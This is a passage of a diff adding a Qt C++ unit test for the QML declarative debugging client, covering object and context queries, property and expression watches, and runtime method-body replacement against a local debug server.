+ QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+ waitForQuery(q_context);
+
+ if (q_context->rootContext().objects().count() == 0)
+ return QDeclarativeDebugObjectReference();
+ QDeclarativeDebugObjectQuery *q_obj = recursive ?
+ m_dbg->queryObjectRecursive(q_context->rootContext().objects()[context], this) :
+ m_dbg->queryObject(q_context->rootContext().objects()[context], this);
+ waitForQuery(q_obj);
+
+ QDeclarativeDebugObjectReference result = q_obj->object();
+
+ delete q_engines;
+ delete q_context;
+ delete q_obj;
+
+ return result;
+}
+
+QDeclarativeDebugPropertyReference tst_QDeclarativeDebug::findProperty(const QList<QDeclarativeDebugPropertyReference> &props, const QString &name) const
+{
+ foreach(const QDeclarativeDebugPropertyReference &p, props) {
+ if (p.name() == name)
+ return p;
+ }
+ return QDeclarativeDebugPropertyReference();
+}
+
+void tst_QDeclarativeDebug::waitForQuery(QDeclarativeDebugQuery *query)
+{
+ QVERIFY(query);
+ QCOMPARE(query->parent(), qobject_cast<QObject*>(this));
+ QVERIFY(query->state() == QDeclarativeDebugQuery::Waiting);
+ if (!QDeclarativeDebugTest::waitForSignal(query, SIGNAL(stateChanged(QDeclarativeDebugQuery::State))))
+ QFAIL("query timed out");
+}
+
+void tst_QDeclarativeDebug::recursiveObjectTest(QObject *o, const QDeclarativeDebugObjectReference &oref, bool recursive) const
+{
+ const QMetaObject *meta = o->metaObject();
+
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(meta);
+ QString className = type ? QString(type->qmlTypeName()) : QString(meta->className());
+ className = className.mid(className.lastIndexOf(QLatin1Char('/'))+1);
+
+ QCOMPARE(oref.debugId(), QDeclarativeDebugService::idForObject(o));
+ QCOMPARE(oref.name(), o->objectName());
+ QCOMPARE(oref.className(), className);
+ QCOMPARE(oref.contextDebugId(), QDeclarativeDebugService::idForObject(qmlContext(o)));
+
+ const QObjectList &children = o->children();
+ for (int i=0; i<children.count(); i++) {
+ QObject *child = children[i];
+ if (!qmlContext(child))
+ continue;
+ int debugId = QDeclarativeDebugService::idForObject(child);
+ QVERIFY(debugId >= 0);
+
+ QDeclarativeDebugObjectReference cref;
+ foreach (const QDeclarativeDebugObjectReference &ref, oref.children()) {
+ if (ref.debugId() == debugId) {
+ cref = ref;
+ break;
+ }
+ }
+ QVERIFY(cref.debugId() >= 0);
+
+ if (recursive)
+ recursiveObjectTest(child, cref, true);
+ }
+
+ foreach (const QDeclarativeDebugPropertyReference &p, oref.properties()) {
+ QCOMPARE(p.objectDebugId(), QDeclarativeDebugService::idForObject(o));
+
+ // signal properties are fake - they are generated from QDeclarativeBoundSignal children
+ if (p.name().startsWith("on") && p.name().length() > 2 && p.name()[2].isUpper()) {
+ QVERIFY(p.value().toString().startsWith('{') && p.value().toString().endsWith('}'));
+ QVERIFY(p.valueTypeName().isEmpty());
+ QVERIFY(p.binding().isEmpty());
+ QVERIFY(!p.hasNotifySignal());
+ continue;
+ }
+
+ QMetaProperty pmeta = meta->property(meta->indexOfProperty(p.name().toUtf8().constData()));
+
+ QCOMPARE(p.name(), QString::fromUtf8(pmeta.name()));
+
+ if (pmeta.type() > 0 && pmeta.type() < QVariant::UserType) // TODO test complex types
+ QCOMPARE(p.value(), pmeta.read(o));
+
+ if (p.name() == "parent")
+ QVERIFY(p.valueTypeName() == "QGraphicsObject*" || p.valueTypeName() == "QDeclarativeItem*");
+ else
+ QCOMPARE(p.valueTypeName(), QString::fromUtf8(pmeta.typeName()));
+
+ QDeclarativeAbstractBinding *binding =
+ QDeclarativePropertyPrivate::binding(QDeclarativeProperty(o, p.name()));
+ if (binding)
+ QCOMPARE(binding->expression(), p.binding());
+
+ QCOMPARE(p.hasNotifySignal(), pmeta.hasNotifySignal());
+
+ QVERIFY(pmeta.isValid());
+ }
+}
+
+void tst_QDeclarativeDebug::recursiveCompareObjects(const QDeclarativeDebugObjectReference &a, const QDeclarativeDebugObjectReference &b) const
+{
+ QCOMPARE(a.debugId(), b.debugId());
+ QCOMPARE(a.className(), b.className());
+ QCOMPARE(a.name(), b.name());
+ QCOMPARE(a.contextDebugId(), b.contextDebugId());
+
+ QCOMPARE(a.source().url(), b.source().url());
+ QCOMPARE(a.source().lineNumber(), b.source().lineNumber());
+ QCOMPARE(a.source().columnNumber(), b.source().columnNumber());
+
+ QCOMPARE(a.properties().count(), b.properties().count());
+ QCOMPARE(a.children().count(), b.children().count());
+
+ QList<QDeclarativeDebugPropertyReference> aprops = a.properties();
+ QList<QDeclarativeDebugPropertyReference> bprops = b.properties();
+
+ for (int i=0; i<aprops.count(); i++)
+ compareProperties(aprops[i], bprops[i]);
+
+ for (int i=0; i<a.children().count(); i++)
+ recursiveCompareObjects(a.children()[i], b.children()[i]);
+}
+
+void tst_QDeclarativeDebug::recursiveCompareContexts(const QDeclarativeDebugContextReference &a, const QDeclarativeDebugContextReference &b) const
+{
+ QCOMPARE(a.debugId(), b.debugId());
+ QCOMPARE(a.name(), b.name());
+ QCOMPARE(a.objects().count(), b.objects().count());
+ QCOMPARE(a.contexts().count(), b.contexts().count());
+
+ for (int i=0; i<a.objects().count(); i++)
+ recursiveCompareObjects(a.objects()[i], b.objects()[i]);
+
+ for (int i=0; i<a.contexts().count(); i++)
+ recursiveCompareContexts(a.contexts()[i], b.contexts()[i]);
+}
+
+void tst_QDeclarativeDebug::compareProperties(const QDeclarativeDebugPropertyReference &a, const QDeclarativeDebugPropertyReference &b) const
+{
+ QCOMPARE(a.objectDebugId(), b.objectDebugId());
+ QCOMPARE(a.name(), b.name());
+ QCOMPARE(a.value(), b.value());
+ QCOMPARE(a.valueTypeName(), b.valueTypeName());
+ QCOMPARE(a.binding(), b.binding());
+ QCOMPARE(a.hasNotifySignal(), b.hasNotifySignal());
+}
+
+void tst_QDeclarativeDebug::initTestCase()
+{
+ qRegisterMetaType<QDeclarativeDebugWatch::State>();
+ qmlRegisterType<NonScriptProperty>("Test", 1, 0, "NonScriptPropertyElement");
+
+ QTest::ignoreMessage(QtDebugMsg, "QDeclarativeDebugServer: Waiting for connection on port 3768...");
+ m_engine = new QDeclarativeEngine(this);
+
+ QList<QByteArray> qml;
+ qml << "import QtQuick 1.0\n"
+ "import Test 1.0\n"
+ "Item {"
+ "id: root\n"
+ "width: 10; height: 20; scale: blueRect.scale;"
+ "Rectangle { id: blueRect; width: 500; height: 600; color: \"blue\"; }"
+ "Text { color: blueRect.color; }"
+ "MouseArea {"
+ "onEntered: { console.log('hello') }"
+ "}"
+ "property variant varObj\n"
+ "property variant varObjList: []\n"
+ "Component.onCompleted: {\n"
+ "varObj = blueRect;\n"
+ "var list = varObjList;\n"
+ "list[0] = blueRect;\n"
+ "varObjList = list;\n"
+ "}\n"
+ "NonScriptPropertyElement {\n"
+ "}\n"
+ "}";
+
+ // add second component to test multiple root contexts
+ qml << "import QtQuick 1.0\n"
+ "Item {}";
+
+ // and a third to test methods
+ qml << "import QtQuick 1.0\n"
+ "Item {"
+ "function myMethodNoArgs() { return 3; }\n"
+ "function myMethod(a) { return a + 9; }\n"
+ "function myMethodIndirect() { myMethod(3); }\n"
+ "}";
+
+ // and a fourth to test states
+ qml << "import QtQuick 1.0\n"
+ "Rectangle {\n"
+ "id:rootRect\n"
+ "width:100\n"
+ "states: [\n"
+ "State {\n"
+ "name:\"state1\"\n"
+ "PropertyChanges {\n"
+ "target:rootRect\n"
+ "width:200\n"
+ "}\n"
+ "}\n"
+ "]\n"
+ "transitions: [\n"
+ "Transition {\n"
+ "from:\"*\"\n"
+ "to:\"state1\"\n"
+ "PropertyAnimation {\n"
+ "target:rootRect\n"
+ "property:\"width\"\n"
+ "duration:100\n"
+ "}\n"
+ "}\n"
+ "]\n"
+ "}\n"
+ ;
+
+ for (int i=0; i<qml.count(); i++) {
+ QDeclarativeComponent component(m_engine);
+ component.setData(qml[i], QUrl::fromLocalFile(""));
+ QVERIFY(component.isReady()); // fails if bad syntax
+ m_components << qobject_cast<QDeclarativeItem*>(component.create());
+ }
+ m_rootItem = qobject_cast<QDeclarativeItem*>(m_components.first());
+
+ // add an extra context to test for multiple contexts
+ QDeclarativeContext *context = new QDeclarativeContext(m_engine->rootContext(), this);
+ context->setObjectName("tst_QDeclarativeDebug_childContext");
+
+ m_conn = new QDeclarativeDebugConnection(this);
+ m_conn->connectToHost("127.0.0.1", 3768);
+
+ QTest::ignoreMessage(QtDebugMsg, "QDeclarativeDebugServer: Connection established");
+ bool ok = m_conn->waitForConnected();
+ QVERIFY(ok);
+ QTRY_VERIFY(QDeclarativeDebugService::hasDebuggingClient());
+ m_dbg = new QDeclarativeEngineDebug(m_conn, this);
+ QTRY_VERIFY(m_dbg->status() == QDeclarativeEngineDebug::Enabled);
+}
+
+void tst_QDeclarativeDebug::cleanupTestCase()
+{
+ delete m_dbg;
+ delete m_conn;
+ qDeleteAll(m_components);
+ delete m_engine;
+}
+
+void tst_QDeclarativeDebug::setMethodBody()
+{
+ QDeclarativeDebugObjectReference obj = findRootObject(2);
+
+ QObject *root = m_components.at(2);
+ // Without args
+ {
+ QVariant rv;
+ QVERIFY(QMetaObject::invokeMethod(root, "myMethodNoArgs", Qt::DirectConnection,
+ Q_RETURN_ARG(QVariant, rv)));
+ QVERIFY(rv == QVariant(qreal(3)));
+
+
+ QVERIFY(m_dbg->setMethodBody(obj.debugId(), "myMethodNoArgs", "return 7"));
+ QTest::qWait(100);
+
+ QVERIFY(QMetaObject::invokeMethod(root, "myMethodNoArgs", Qt::DirectConnection,
+ Q_RETURN_ARG(QVariant, rv)));
+ QVERIFY(rv == QVariant(qreal(7)));
+ }
+
+ // With args
+ {
+ QVariant rv;
+ QVERIFY(QMetaObject::invokeMethod(root, "myMethod", Qt::DirectConnection,
+ Q_RETURN_ARG(QVariant, rv), Q_ARG(QVariant, QVariant(19))));
+ QVERIFY(rv == QVariant(qreal(28)));
+
+ QVERIFY(m_dbg->setMethodBody(obj.debugId(), "myMethod", "return a + 7"));
+ QTest::qWait(100);
+
+ QVERIFY(QMetaObject::invokeMethod(root, "myMethod", Qt::DirectConnection,
+ Q_RETURN_ARG(QVariant, rv), Q_ARG(QVariant, QVariant(19))));
+ QVERIFY(rv == QVariant(qreal(26)));
+ }
+}
+
+void tst_QDeclarativeDebug::watch_property()
+{
+ QDeclarativeDebugObjectReference obj = findRootObject();
+ QDeclarativeDebugPropertyReference prop = findProperty(obj.properties(), "width");
+
+ QDeclarativeDebugPropertyWatch *watch;
+
+ QDeclarativeEngineDebug *unconnected = new QDeclarativeEngineDebug(0);
+ watch = unconnected->addWatch(prop, this);
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Dead);
+ delete watch;
+ delete unconnected;
+
+ watch = m_dbg->addWatch(QDeclarativeDebugPropertyReference(), this);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(watch, SIGNAL(stateChanged(QDeclarativeDebugWatch::State))));
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Inactive);
+ delete watch;
+
+ watch = m_dbg->addWatch(prop, this);
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Waiting);
+ QCOMPARE(watch->objectDebugId(), obj.debugId());
+ QCOMPARE(watch->name(), prop.name());
+
+ QSignalSpy spy(watch, SIGNAL(valueChanged(QByteArray,QVariant)));
+
+ int origWidth = m_rootItem->property("width").toInt();
+ m_rootItem->setProperty("width", origWidth*2);
+
+ // stateChanged() is received before valueChanged()
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(watch, SIGNAL(stateChanged(QDeclarativeDebugWatch::State))));
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Active);
+ QCOMPARE(spy.count(), 1);
+
+ m_dbg->removeWatch(watch);
+ delete watch;
+
+ // restore original value and verify spy doesn't get additional signal since watch has been removed
+ m_rootItem->setProperty("width", origWidth);
+ QTest::qWait(100);
+ QCOMPARE(spy.count(), 1);
+
+ QCOMPARE(spy.at(0).at(0).value<QByteArray>(), prop.name().toUtf8());
+ QCOMPARE(spy.at(0).at(1).value<QVariant>(), qVariantFromValue(origWidth*2));
+}
+
+void tst_QDeclarativeDebug::watch_object()
+{
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+
+ QVERIFY(q_engines->engines().count() > 0);
+ QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+ waitForQuery(q_context);
+
+ QVERIFY(q_context->rootContext().objects().count() > 0);
+ QDeclarativeDebugObjectQuery *q_obj = m_dbg->queryObject(q_context->rootContext().objects()[0], this);
+ waitForQuery(q_obj);
+
+ QDeclarativeDebugObjectReference obj = q_obj->object();
+
+ delete q_engines;
+ delete q_context;
+ delete q_obj;
+
+ QDeclarativeDebugWatch *watch;
+
+ QDeclarativeEngineDebug *unconnected = new QDeclarativeEngineDebug(0);
+ watch = unconnected->addWatch(obj, this);
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Dead);
+ delete watch;
+ delete unconnected;
+
+ watch = m_dbg->addWatch(QDeclarativeDebugObjectReference(), this);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(watch, SIGNAL(stateChanged(QDeclarativeDebugWatch::State))));
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Inactive);
+ delete watch;
+
+ watch = m_dbg->addWatch(obj, this);
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Waiting);
+ QCOMPARE(watch->objectDebugId(), obj.debugId());
+
+ QSignalSpy spy(watch, SIGNAL(valueChanged(QByteArray,QVariant)));
+
+ int origWidth = m_rootItem->property("width").toInt();
+ int origHeight = m_rootItem->property("height").toInt();
+ m_rootItem->setProperty("width", origWidth*2);
+ m_rootItem->setProperty("height", origHeight*2);
+
+ // stateChanged() is received before any valueChanged() signals
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(watch, SIGNAL(stateChanged(QDeclarativeDebugWatch::State))));
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Active);
+ QVERIFY(spy.count() > 0);
+
+ int newWidth = -1;
+ int newHeight = -1;
+ for (int i=0; i<spy.count(); i++) {
+ const QVariantList &values = spy[i];
+ if (values[0].value<QByteArray>() == "width")
+ newWidth = values[1].value<QVariant>().toInt();
+ else if (values[0].value<QByteArray>() == "height")
+ newHeight = values[1].value<QVariant>().toInt();
+
+ }
+
+ m_dbg->removeWatch(watch);
+ delete watch;
+
+ // since watch has been removed, restoring the original values should not trigger a valueChanged()
+ spy.clear();
+ m_rootItem->setProperty("width", origWidth);
+ m_rootItem->setProperty("height", origHeight);
+ QTest::qWait(100);
+ QCOMPARE(spy.count(), 0);
+
+ QCOMPARE(newWidth, origWidth * 2);
+ QCOMPARE(newHeight, origHeight * 2);
+}
+
+void tst_QDeclarativeDebug::watch_expression()
+{
+ QFETCH(QString, expr);
+ QFETCH(int, increment);
+ QFETCH(int, incrementCount);
+
+ int origWidth = m_rootItem->property("width").toInt();
+
+ QDeclarativeDebugObjectReference obj = findRootObject();
+
+ QDeclarativeDebugObjectExpressionWatch *watch;
+
+ QDeclarativeEngineDebug *unconnected = new QDeclarativeEngineDebug(0);
+ watch = unconnected->addWatch(obj, expr, this);
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Dead);
+ delete watch;
+ delete unconnected;
+
+ watch = m_dbg->addWatch(QDeclarativeDebugObjectReference(), expr, this);
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(watch, SIGNAL(stateChanged(QDeclarativeDebugWatch::State))));
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Inactive);
+ delete watch;
+
+ watch = m_dbg->addWatch(obj, expr, this);
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Waiting);
+ QCOMPARE(watch->objectDebugId(), obj.debugId());
+ QCOMPARE(watch->expression(), expr);
+
+ QSignalSpy spyState(watch, SIGNAL(stateChanged(QDeclarativeDebugWatch::State)));
+
+ QSignalSpy spy(watch, SIGNAL(valueChanged(QByteArray,QVariant)));
+ int expectedSpyCount = incrementCount + 1; // should also get signal with expression's initial value
+
+ int width = origWidth;
+ for (int i=0; i<incrementCount+1; i++) {
+ if (i > 0) {
+ width += increment;
+ m_rootItem->setProperty("width", width);
+ }
+ if (!QDeclarativeDebugTest::waitForSignal(watch, SIGNAL(valueChanged(QByteArray,QVariant))))
+ QFAIL("Did not receive valueChanged() for expression");
+ }
+
+ if (spyState.count() == 0)
+ QVERIFY(QDeclarativeDebugTest::waitForSignal(watch, SIGNAL(stateChanged(QDeclarativeDebugWatch::State))));
+ QCOMPARE(spyState.count(), 1);
+ QCOMPARE(watch->state(), QDeclarativeDebugWatch::Active);
+
+ m_dbg->removeWatch(watch);
+ delete watch;
+
+ // restore original value and verify spy doesn't get a signal since watch has been removed
+ m_rootItem->setProperty("width", origWidth);
+ QTest::qWait(100);
+ QCOMPARE(spy.count(), expectedSpyCount);
+
+ width = origWidth + increment;
+ for (int i=0; i<spy.count(); i++) {
+ QCOMPARE(spy.at(i).at(1).value<QVariant>().toInt(), width);
+ width += increment;
+ }
+}
+
+void tst_QDeclarativeDebug::watch_expression_data()
+{
+ QTest::addColumn<QString>("expr");
+ QTest::addColumn<int>("increment");
+ QTest::addColumn<int>("incrementCount");
+
+ QTest::newRow("width") << "width" << 0 << 0;
+ QTest::newRow("width+10") << "width + 10" << 10 << 5;
+}
+
+void tst_QDeclarativeDebug::watch_context()
+{
+ QDeclarativeDebugContextReference c;
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeEngineDebug::addWatch(): Not implemented");
+ QVERIFY(!m_dbg->addWatch(c, QString(), this));
+}
+
+void tst_QDeclarativeDebug::watch_file()
+{
+ QDeclarativeDebugFileReference f;
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeEngineDebug::addWatch(): Not implemented");
+ QVERIFY(!m_dbg->addWatch(f, this));
+}
+
+void tst_QDeclarativeDebug::queryAvailableEngines()
+{
+ QDeclarativeDebugEnginesQuery *q_engines;
+
+ QDeclarativeEngineDebug *unconnected = new QDeclarativeEngineDebug(0);
+ q_engines = unconnected->queryAvailableEngines(0);
+ QCOMPARE(q_engines->state(), QDeclarativeDebugQuery::Error);
+ delete q_engines;
+ delete unconnected;
+
+ q_engines = m_dbg->queryAvailableEngines(this);
+ delete q_engines;
+
+ q_engines = m_dbg->queryAvailableEngines(this);
+ QVERIFY(q_engines->engines().isEmpty());
+ waitForQuery(q_engines);
+
+ // TODO test multiple engines
+ QList<QDeclarativeDebugEngineReference> engines = q_engines->engines();
+ QCOMPARE(engines.count(), 1);
+
+ foreach(const QDeclarativeDebugEngineReference &e, engines) {
+ QCOMPARE(e.debugId(), QDeclarativeDebugService::idForObject(m_engine));
+ QCOMPARE(e.name(), m_engine->objectName());
+ }
+
+ // Make query invalid by deleting client
+ q_engines = m_dbg->queryAvailableEngines(this);
+ QCOMPARE(q_engines->state(), QDeclarativeDebugQuery::Waiting);
+ delete m_dbg;
+ QCOMPARE(q_engines->state(), QDeclarativeDebugQuery::Error);
+ delete q_engines;
+ m_dbg = new QDeclarativeEngineDebug(m_conn, this);
+}
+
+void tst_QDeclarativeDebug::queryRootContexts()
+{
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+ int engineId = q_engines->engines()[0].debugId();
+ delete q_engines;
+
+ QDeclarativeDebugRootContextQuery *q_context;
+
+ QDeclarativeEngineDebug *unconnected = new QDeclarativeEngineDebug(0);
+ q_context = unconnected->queryRootContexts(engineId, this);
+ QCOMPARE(q_context->state(), QDeclarativeDebugQuery::Error);
+ delete q_context;
+ delete unconnected;
+
+ q_context = m_dbg->queryRootContexts(engineId, this);
+ delete q_context;
+
+ q_context = m_dbg->queryRootContexts(engineId, this);
+ waitForQuery(q_context);
+
+ QDeclarativeContext *actualContext = m_engine->rootContext();
+ QDeclarativeDebugContextReference context = q_context->rootContext();
+ QCOMPARE(context.debugId(), QDeclarativeDebugService::idForObject(actualContext));
+ QCOMPARE(context.name(), actualContext->objectName());
+
+ QCOMPARE(context.objects().count(), 4); // 4 qml component objects created for context in main()
+
+ // root context query sends only root object data - it doesn't fill in
+ // the children or property info
+ QCOMPARE(context.objects()[0].properties().count(), 0);
+ QCOMPARE(context.objects()[0].children().count(), 0);
+
+ QCOMPARE(context.contexts().count(), 5);
+ QVERIFY(context.contexts()[0].debugId() >= 0);
+ QCOMPARE(context.contexts()[0].name(), QString("tst_QDeclarativeDebug_childContext"));
+
+ // Make query invalid by deleting client
+ q_context = m_dbg->queryRootContexts(engineId, this);
+ QCOMPARE(q_context->state(), QDeclarativeDebugQuery::Waiting);
+ delete m_dbg;
+ QCOMPARE(q_context->state(), QDeclarativeDebugQuery::Error);
+ delete q_context;
+ m_dbg = new QDeclarativeEngineDebug(m_conn, this);
+}
+
+void tst_QDeclarativeDebug::queryObject()
+{
+ QFETCH(bool, recursive);
+
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+
+ QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+ waitForQuery(q_context);
+ QDeclarativeDebugObjectReference rootObject = q_context->rootContext().objects()[0];
+
+ QDeclarativeDebugObjectQuery *q_obj = 0;
+
+ QDeclarativeEngineDebug *unconnected = new QDeclarativeEngineDebug(0);
+ q_obj = recursive ? unconnected->queryObjectRecursive(rootObject, this) : unconnected->queryObject(rootObject, this);
+ QCOMPARE(q_obj->state(), QDeclarativeDebugQuery::Error);
+ delete q_obj;
+ delete unconnected;
+
+ q_obj = recursive ? m_dbg->queryObjectRecursive(rootObject, this) : m_dbg->queryObject(rootObject, this);
+ delete q_obj;
+
+ q_obj = recursive ? m_dbg->queryObjectRecursive(rootObject, this) : m_dbg->queryObject(rootObject, this);
+ waitForQuery(q_obj);
+
+ QDeclarativeDebugObjectReference obj = q_obj->object();
+
+ delete q_engines;
+ delete q_context;
+
+ // Make query invalid by deleting client
+ q_obj = recursive ? m_dbg->queryObjectRecursive(rootObject, this) : m_dbg->queryObject(rootObject, this);
+ QCOMPARE(q_obj->state(), QDeclarativeDebugQuery::Waiting);
+ delete m_dbg;
+ QCOMPARE(q_obj->state(), QDeclarativeDebugQuery::Error);
+ delete q_obj;
+ m_dbg = new QDeclarativeEngineDebug(m_conn, this);
+
+ // check source as defined in main()
+ QDeclarativeDebugFileReference source = obj.source();
+ QCOMPARE(source.url(), QUrl::fromLocalFile(""));
+ QCOMPARE(source.lineNumber(), 3);
+ QCOMPARE(source.columnNumber(), 1);
+
+ // generically test all properties, children and childrens' properties
+ recursiveObjectTest(m_rootItem, obj, recursive);
+
+ if (recursive) {
+ foreach(const QDeclarativeDebugObjectReference &child, obj.children())
+ QVERIFY(child.properties().count() > 0);
+
+ QDeclarativeDebugObjectReference rect;
+ QDeclarativeDebugObjectReference text;
+ foreach (const QDeclarativeDebugObjectReference &child, obj.children()) {
+ if (child.className() == "Rectangle")
+ rect = child;
+ else if (child.className() == "Text")
+ text = child;
+ }
+
+ // test specific property values
+ QCOMPARE(findProperty(rect.properties(), "width").value(), qVariantFromValue(500));
+ QCOMPARE(findProperty(rect.properties(), "height").value(), qVariantFromValue(600));
+ QCOMPARE(findProperty(rect.properties(), "color").value(), qVariantFromValue(QColor("blue")));
+
+ QCOMPARE(findProperty(text.properties(), "color").value(), qVariantFromValue(QColor("blue")));
+ } else {
+ foreach(const QDeclarativeDebugObjectReference &child, obj.children())
+ QCOMPARE(child.properties().count(), 0);
+ }
+}
+
+void tst_QDeclarativeDebug::queryObject_data()
+{
+ QTest::addColumn<bool>("recursive");
+
+ QTest::newRow("non-recursive") << false;
+ QTest::newRow("recursive") << true;
+}
+
+void tst_QDeclarativeDebug::queryExpressionResult()
+{
+ QFETCH(QString, expr);
+ QFETCH(QVariant, result);
+
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines); // check immediate deletion is ok
+
+ QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+ waitForQuery(q_context);
+ int objectId = q_context->rootContext().objects()[0].debugId();
+
+ QDeclarativeDebugExpressionQuery *q_expr;
+
+ QDeclarativeEngineDebug *unconnected = new QDeclarativeEngineDebug(0);
+ q_expr = unconnected->queryExpressionResult(objectId, expr, this);
+ QCOMPARE(q_expr->state(), QDeclarativeDebugQuery::Error);
+ delete q_expr;
+ delete unconnected;
+
+ q_expr = m_dbg->queryExpressionResult(objectId, expr, this);
+ delete q_expr;
+
+ q_expr = m_dbg->queryExpressionResult(objectId, expr, this);
+ QCOMPARE(q_expr->expression().toString(), expr);
+ waitForQuery(q_expr);
+
+ QCOMPARE(q_expr->result(), result);
+
+ delete q_engines;
+ delete q_context;
+
+ // Make query invalid by deleting client
+ q_expr = m_dbg->queryExpressionResult(objectId, expr, this);
+ QCOMPARE(q_expr->state(), QDeclarativeDebugQuery::Waiting);
+ delete m_dbg;
+ QCOMPARE(q_expr->state(), QDeclarativeDebugQuery::Error);
+ delete q_expr;
+ m_dbg = new QDeclarativeEngineDebug(m_conn, this);
+}
+
+void tst_QDeclarativeDebug::queryExpressionResult_data()
+{
+ QTest::addColumn<QString>("expr");
+ QTest::addColumn<QVariant>("result");
+
+ QTest::newRow("width + 50") << "width + 50" << qVariantFromValue(60);
+ QTest::newRow("blueRect.width") << "blueRect.width" << qVariantFromValue(500);
+ QTest::newRow("bad expr") << "aeaef" << qVariantFromValue(QString("<undefined>"));
+ QTest::newRow("QObject*") << "varObj" << qVariantFromValue(QString("<unnamed object>"));
+ QTest::newRow("list of QObject*") << "varObjList" << qVariantFromValue(QString("<unknown value>"));
+}
+
+void tst_QDeclarativeDebug::tst_QDeclarativeDebugFileReference()
+{
+ QDeclarativeDebugFileReference ref;
+ QVERIFY(ref.url().isEmpty());
+ QCOMPARE(ref.lineNumber(), -1);
+ QCOMPARE(ref.columnNumber(), -1);
+
+ ref.setUrl(QUrl("http://test"));
+ QCOMPARE(ref.url(), QUrl("http://test"));
+ ref.setLineNumber(1);
+ QCOMPARE(ref.lineNumber(), 1);
+ ref.setColumnNumber(1);
+ QCOMPARE(ref.columnNumber(), 1);
+
+ QDeclarativeDebugFileReference copy(ref);
+ QDeclarativeDebugFileReference copyAssign;
+ copyAssign = ref;
+ foreach (const QDeclarativeDebugFileReference &r, (QList<QDeclarativeDebugFileReference>() << copy << copyAssign)) {
+ QCOMPARE(r.url(), ref.url());
+ QCOMPARE(r.lineNumber(), ref.lineNumber());
+ QCOMPARE(r.columnNumber(), ref.columnNumber());
+ }
+}
+
+void tst_QDeclarativeDebug::tst_QDeclarativeDebugEngineReference()
+{
+ QDeclarativeDebugEngineReference ref;
+ QCOMPARE(ref.debugId(), -1);
+ QVERIFY(ref.name().isEmpty());
+
+ ref = QDeclarativeDebugEngineReference(1);
+ QCOMPARE(ref.debugId(), 1);
+ QVERIFY(ref.name().isEmpty());
+
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+ ref = q_engines->engines()[0];
+ delete q_engines;
+
+ QDeclarativeDebugEngineReference copy(ref);
+ QDeclarativeDebugEngineReference copyAssign;
+ copyAssign = ref;
+ foreach (const QDeclarativeDebugEngineReference &r, (QList<QDeclarativeDebugEngineReference>() << copy << copyAssign)) {
+ QCOMPARE(r.debugId(), ref.debugId());
+ QCOMPARE(r.name(), ref.name());
+ }
+}
+
+void tst_QDeclarativeDebug::tst_QDeclarativeDebugObjectReference()
+{
+ QDeclarativeDebugObjectReference ref;
+ QCOMPARE(ref.debugId(), -1);
+ QCOMPARE(ref.className(), QString());
+ QCOMPARE(ref.name(), QString());
+ QCOMPARE(ref.contextDebugId(), -1);
+ QVERIFY(ref.properties().isEmpty());
+ QVERIFY(ref.children().isEmpty());
+
+ QDeclarativeDebugFileReference source = ref.source();
+ QVERIFY(source.url().isEmpty());
+ QVERIFY(source.lineNumber() < 0);
+ QVERIFY(source.columnNumber() < 0);
+
+ ref = QDeclarativeDebugObjectReference(1);
+ QCOMPARE(ref.debugId(), 1);
+
+ QDeclarativeDebugObjectReference rootObject = findRootObject();
+ QDeclarativeDebugObjectQuery *query = m_dbg->queryObjectRecursive(rootObject, this);
+ waitForQuery(query);
+ ref = query->object();
+ delete query;
+
+ QVERIFY(ref.debugId() >= 0);
+
+ QDeclarativeDebugObjectReference copy(ref);
+ QDeclarativeDebugObjectReference copyAssign;
+ copyAssign = ref;
+ foreach (const QDeclarativeDebugObjectReference &r, (QList<QDeclarativeDebugObjectReference>() << copy << copyAssign))
+ recursiveCompareObjects(r, ref);
+}
+
+void tst_QDeclarativeDebug::tst_QDeclarativeDebugContextReference()
+{
+ QDeclarativeDebugContextReference ref;
+ QCOMPARE(ref.debugId(), -1);
+ QVERIFY(ref.name().isEmpty());
+ QVERIFY(ref.objects().isEmpty());
+ QVERIFY(ref.contexts().isEmpty());
+
+ QDeclarativeDebugEnginesQuery *q_engines = m_dbg->queryAvailableEngines(this);
+ waitForQuery(q_engines);
+ QDeclarativeDebugRootContextQuery *q_context = m_dbg->queryRootContexts(q_engines->engines()[0].debugId(), this);
+ waitForQuery(q_context);
+
+ ref = q_context->rootContext();
+ delete q_engines;
+ delete q_context;
+ QVERIFY(ref.debugId() >= 0);
+
+ QDeclarativeDebugContextReference copy(ref);
+ QDeclarativeDebugContextReference copyAssign;
+ copyAssign = ref;
+ foreach (const QDeclarativeDebugContextReference &r, (QList<QDeclarativeDebugContextReference>() << copy << copyAssign))
+ recursiveCompareContexts(r, ref);
+}
+
